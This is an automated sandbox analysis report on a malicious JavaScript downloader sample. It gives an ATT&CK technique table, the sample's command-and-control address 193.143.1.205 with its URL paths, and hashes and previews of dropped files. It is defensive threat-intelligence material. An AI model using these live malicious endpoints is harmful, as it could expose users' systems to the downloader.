Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
27321191142887719888.js	0%	ReversingLabs
27321191142887719888.js	3%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/pacek	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/R	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/&	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3358927104.000001FB39800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2125457670.000001FB39560000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/&	net.exe, 00000007.00000003.2123192180.00000261F77F7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2123724366.00000261F77F7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2123647333.00000261F77C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2123125545.00000261F7819000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/R	net.exe, 00000007.00000003.2123192180.00000261F77F7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2123724366.00000261F77F7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/pacek	net.exe, 00000007.00000002.2123647333.00000261F77C8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588110
Start date and time:	2025-01-10 21:28:45 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	27321191142887719888.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 3.233.129.217, 52.6.155.20, 3.219.243.226, 52.22.41.97, 199.232.210.172, 2.16.168.107, 2.16.168.105, 13.107.246.45, 20.109.210.53, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:29:40	API Interceptor	20x Sleep call for process: powershell.exe modified
15:29:43	API Interceptor	1x Sleep call for process: net.exe modified
15:29:43	API Interceptor	2x Sleep call for process: svchost.exe modified
15:29:53	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2295888241314542.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27962100941450914990.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	295963673155714664.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16847122831539518647.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	42173378525889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24108325173196611859.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19321276562420914470.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	49441311255025245.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2091470502273216855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	27962100941450914990.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	42173378525889.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	24108325173196611859.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	19321276562420914470.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2091470502273216855.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2906816133204732533.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1358019715229232264.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2295888241314542.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27962100941450914990.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	295963673155714664.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16847122831539518647.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	42173378525889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24108325173196611859.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19321276562420914470.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	49441311255025245.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2091470502273216855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.830722199583029
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugz:gJjJGtpTq2yv1AuNZRY3diu8iBVqFN
MD5:	C43C3C4AE185D64C62D873E8A0109F7E
SHA1:	21B9B9D7DFA9576FB6118272BE7F1C8AE261FA27
SHA-256:	2F6C7B5788558AD1EF98CC9B1D48275BBADFF1D216A061929102CB463A0D85A5
SHA-512:	E028F2ECDFFFC6136A613185E0A3C1CA17DC0B232507E1CC90A122D7236389EDE05F758E48FF8448CAC634717017E6B9DCA36A42349F0A790EEA451C4C19DF04
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x6299cb6a, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6586006697029927
Encrypted:	false
SSDEEP:	1536:BSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Baza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	968515038A8D3B4362C061F739BF5541
SHA1:	B78FDBEBC3A2E392471F236BF68D7DBFEA3F4AC1
SHA-256:	52C40974583E76AB3123475D12EAC9BF220CA6705741DB463D53DD55F517C5C7
SHA-512:	DF6D2286F0BDEE20B8AD4067F220FCF9AF8A6E8C8C64DD69102A75FAD2093CD5D28ECE9B8CC50129AB43E10454327775B74C1EAF7C932F4E0AEE33E698CDDA4B
Malicious:	false
Preview:	b..j... ...............X\...;...{......................0.z..........{..,....}1.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................L..M,....}k....................,....}K..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08131285655178788
Encrypted:	false
SSDEEP:	3:4UYe+kkbGuAJkhvekl1DKJE/l/ollrekGltll/SPj:4UzsrxlR/lAJe3l
MD5:	FEF5014301B7008E386EBBFA56F56127
SHA1:	DDD493E76371E4543D2B4068D7E0A0364EC1C7CE
SHA-256:	7FA3B6EEB6C5A5EE64C4005400F865A52A5CF3B1C2AFE0522955C42726387133
SHA-512:	FA24A6878EE8E17E8B6249FB0E880BF5C9DE1C519B93C73935C8329BFE1A2722F65CAA6B38AF3B4AF56EDF927A3ACF36ED3E4158613221CC86A2F9CBBDB74927
Malicious:	false
Preview:	*2.......................................;...{..,....}K......{...............{.......{...XL......{.....................,....}K.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.17546158464398
Encrypted:	false
SSDEEP:	6:iO4Sfcgq2P92nKuAl9OmbnIFUtSSfcZmwsSfRhzkwO92nKuAl9OmbjLJ:7f/v4HAahFUtdc/jrz5LHAaSJ
MD5:	A94B8B7EACE4ED64DBD59E150FB455B7
SHA1:	627DA68D8CED549FB315852FEDAB9D4958A37A3E
SHA-256:	3904400FA50DA620B348FF81F3B6F7AC1C33D47FC0A48A47751827BDAE0A90F6
SHA-512:	B96594959BDBE9912203A218D9E9074DEF780B34798CD34B6C75531AEC3DF71585415D117C739AFDE192D45CAAED4FF153AE2B7DDCD8ED3EDD6617B5A888373E
Malicious:	false
Preview:	2025/01/10-15:29:44.611 1cb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:29:44.613 1cb0 Recovering log #3.2025/01/10-15:29:44.614 1cb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.17546158464398
Encrypted:	false
SSDEEP:	6:iO4Sfcgq2P92nKuAl9OmbnIFUtSSfcZmwsSfRhzkwO92nKuAl9OmbjLJ:7f/v4HAahFUtdc/jrz5LHAaSJ
MD5:	A94B8B7EACE4ED64DBD59E150FB455B7
SHA1:	627DA68D8CED549FB315852FEDAB9D4958A37A3E
SHA-256:	3904400FA50DA620B348FF81F3B6F7AC1C33D47FC0A48A47751827BDAE0A90F6
SHA-512:	B96594959BDBE9912203A218D9E9074DEF780B34798CD34B6C75531AEC3DF71585415D117C739AFDE192D45CAAED4FF153AE2B7DDCD8ED3EDD6617B5A888373E
Malicious:	false
Preview:	2025/01/10-15:29:44.611 1cb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:29:44.613 1cb0 Recovering log #3.2025/01/10-15:29:44.614 1cb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.171346984760039
Encrypted:	false
SSDEEP:	6:iO4S5aFY7+q2P92nKuAl9Ombzo2jMGIFUtSS5RvYZmwsS5RltVkwO92nKuAl9OmT:75aOiv4HAa8uFUtfpY/9TT5LHAa8RJ
MD5:	F6C552665EF4B74EB1A7E9E6FB8A3B72
SHA1:	D7C1CC4FB6480AF55AE1783A112CCF96C200F67E
SHA-256:	042825347DE2ECFA1B2D7C22C8F45C63A45E1795638555D685B704D74C5639B7
SHA-512:	AE51659E6B6229F0F5A9CD1A1AA8A76DC077023E7ACF181BF99AC9FDC8498C258254587404FE7E10E41AFCE48A5AF13E70C887E24E8D5A545B91CE1B339C09ED
Malicious:	false
Preview:	2025/01/10-15:29:45.038 1d48 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:29:45.040 1d48 Recovering log #3.2025/01/10-15:29:45.041 1d48 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.171346984760039
Encrypted:	false
SSDEEP:	6:iO4S5aFY7+q2P92nKuAl9Ombzo2jMGIFUtSS5RvYZmwsS5RltVkwO92nKuAl9OmT:75aOiv4HAa8uFUtfpY/9TT5LHAa8RJ
MD5:	F6C552665EF4B74EB1A7E9E6FB8A3B72
SHA1:	D7C1CC4FB6480AF55AE1783A112CCF96C200F67E
SHA-256:	042825347DE2ECFA1B2D7C22C8F45C63A45E1795638555D685B704D74C5639B7
SHA-512:	AE51659E6B6229F0F5A9CD1A1AA8A76DC077023E7ACF181BF99AC9FDC8498C258254587404FE7E10E41AFCE48A5AF13E70C887E24E8D5A545B91CE1B339C09ED
Malicious:	false
Preview:	2025/01/10-15:29:45.038 1d48 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:29:45.040 1d48 Recovering log #3.2025/01/10-15:29:45.041 1d48 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\01d0b80c-faff-49f4-b9f1-10c96f81b722.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.053811213607686
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqdYksBdOg2H7Ogcaq3QYiubxnP7E4T3OF+:Y2sRdsyCdMH7OL3QYhbxP7nbI+
MD5:	9FD69CE048756154B81FEB9A63E6A104
SHA1:	3A00F414881AD1BEA0EA501204C7361F660485B7
SHA-256:	09E5C3A5FE0FFB8D7D93F7340B998BA39D81A7EFBDC63A6EA1419CB8B771BCE8
SHA-512:	8ED53B83D6E68FC3A0B3CFA980F3A0AEE86C64EBF82F7AEBB929A22C747A5929A884E3E61F263220A461AAD372BD8AA2082C50528A7880DA24A5D292EF53369B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381100995629695","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":166493},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.053811213607686
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqdYksBdOg2H7Ogcaq3QYiubxnP7E4T3OF+:Y2sRdsyCdMH7OL3QYhbxP7nbI+
MD5:	9FD69CE048756154B81FEB9A63E6A104
SHA1:	3A00F414881AD1BEA0EA501204C7361F660485B7
SHA-256:	09E5C3A5FE0FFB8D7D93F7340B998BA39D81A7EFBDC63A6EA1419CB8B771BCE8
SHA-512:	8ED53B83D6E68FC3A0B3CFA980F3A0AEE86C64EBF82F7AEBB929A22C747A5929A884E3E61F263220A461AAD372BD8AA2082C50528A7880DA24A5D292EF53369B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381100995629695","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":166493},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.23940996804553
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUHE6mG5/:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLI
MD5:	3E7EB28717EE42094CA612F3F7105F5C
SHA1:	B1D14C3EE4891DB48FB9714AF222393DF07E79E3
SHA-256:	E97507B449AECB594597F28998BFCDD7761BFFD4436AEA4EA4888BD35840B990
SHA-512:	EA858CC87257D04EDB15C0361A38029BFBF4D42E0798D297E2A2417FF2CA61EC863E195AE2A99B20574A28CC98E6390411A4201340D7475A1E9DC21D3CAEFA77
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.221836358511485
Encrypted:	false
SSDEEP:	6:iO4SO3+q2P92nKuAl9OmbzNMxIFUtSSDZmwsSyd3VkwO92nKuAl9OmbzNMFLJ:77v4HAa8jFUth/mdF5LHAa84J
MD5:	0B4ED1CF916A76A701C3BACC49251931
SHA1:	C42545D38D6236A372575EA952809E87AE52D396
SHA-256:	22E38B08635B202C77F9CEE9DB4A820F4A0FF05B30BCA326738F3CBC9BF2FCED
SHA-512:	48607189CB59B8CB223EA64E7BF39F0FE494870E7FA3B6B08279A4C5845085F40F8F71BC5B2DD68076ADAC0ED807039A6F9433CAAD9D2AFFBBE2FEBAD36BCE13
Malicious:	false
Preview:	2025/01/10-15:29:45.176 1d48 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:29:45.188 1d48 Recovering log #3.2025/01/10-15:29:45.198 1d48 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.221836358511485
Encrypted:	false
SSDEEP:	6:iO4SO3+q2P92nKuAl9OmbzNMxIFUtSSDZmwsSyd3VkwO92nKuAl9OmbzNMFLJ:77v4HAa8jFUth/mdF5LHAa84J
MD5:	0B4ED1CF916A76A701C3BACC49251931
SHA1:	C42545D38D6236A372575EA952809E87AE52D396
SHA-256:	22E38B08635B202C77F9CEE9DB4A820F4A0FF05B30BCA326738F3CBC9BF2FCED
SHA-512:	48607189CB59B8CB223EA64E7BF39F0FE494870E7FA3B6B08279A4C5845085F40F8F71BC5B2DD68076ADAC0ED807039A6F9433CAAD9D2AFFBBE2FEBAD36BCE13
Malicious:	false
Preview:	2025/01/10-15:29:45.176 1d48 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:29:45.188 1d48 Recovering log #3.2025/01/10-15:29:45.198 1d48 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
